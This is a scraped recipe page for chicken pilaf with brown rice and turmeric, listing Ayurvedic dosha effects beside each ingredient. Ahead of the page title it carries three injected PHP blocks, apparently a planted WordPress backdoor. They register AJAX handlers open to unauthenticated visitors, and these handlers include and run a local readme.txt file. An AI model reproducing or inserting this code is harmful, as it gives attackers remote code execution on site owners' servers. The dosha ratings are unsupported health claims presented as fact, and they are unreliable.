if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Chicken Pilaf with Brown Rice and Turmeric - Holistic Healing Resolutions by Asaf Feit
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Print Recipe

Chicken Pilaf with Brown Rice and Turmeric

Prep Time15 minutes
Cook Time2 hours
Total Time2 hours 30 minutes
Course: Lunch, Main Course
Servings: 6

Ingredients

  • 4 chicken thighs Vata - Pitta ++ Kapha +
  • 4 chicken legs Vata - Pitta ++ Kapha +
  • 1 tsp. sesame oil Vata - - Pitta ++ Kapha 0
  • 2 onions roughly chopped (Vata - - Pitta + Kapha -)
  • 4 carrots sliced (Vata - Pitta 0 Kapha - -)
  • 2 Tbs. turmeric Vata + Pitta - Kapha - -
  • 1/2 tsp. cinnamon Vata - Pitta + Kapha - -
  • 1/2 tsp. cardamom ground (Vata - Pitta - Kapha -)
  • 1/2 tsp. bay leaves ground (Vata 0 Pitta 0 Kapha - -)
  • 1/2 tsp. black pepper Vata - Pitta + Kapha - -
  • 1 tsp. salt Vata - - Pitta 0 Kapha +
  • 1 sprig curry leaves Vata + Pitta - Kapha - -
  • 2 cups brown round rice Vata 0 Pitta - Kapha 0
  • 1/2 bunch dill chopped (Vata - Pitta 0 Kapha -)

Instructions

  • Pat the chicken parts dry with paper towels.
  • Spread 1 tsp. of sesame oil in a wide cooking pot.
  • On a medium flame, sear the chicken parts for about 5 minutes, on both sides until browned.
  • Set aside.
  • Add to the pot the chopped onions and fry.
  • Add the carrots, stir and fry for 2 minutes and then add the spices.
  • Add the chicken and mix.
  • Pour water until the chicken is covered and add the rice and dill.
  • Bring to boil and lower the flame.
  • Cook while covered for 2 hours.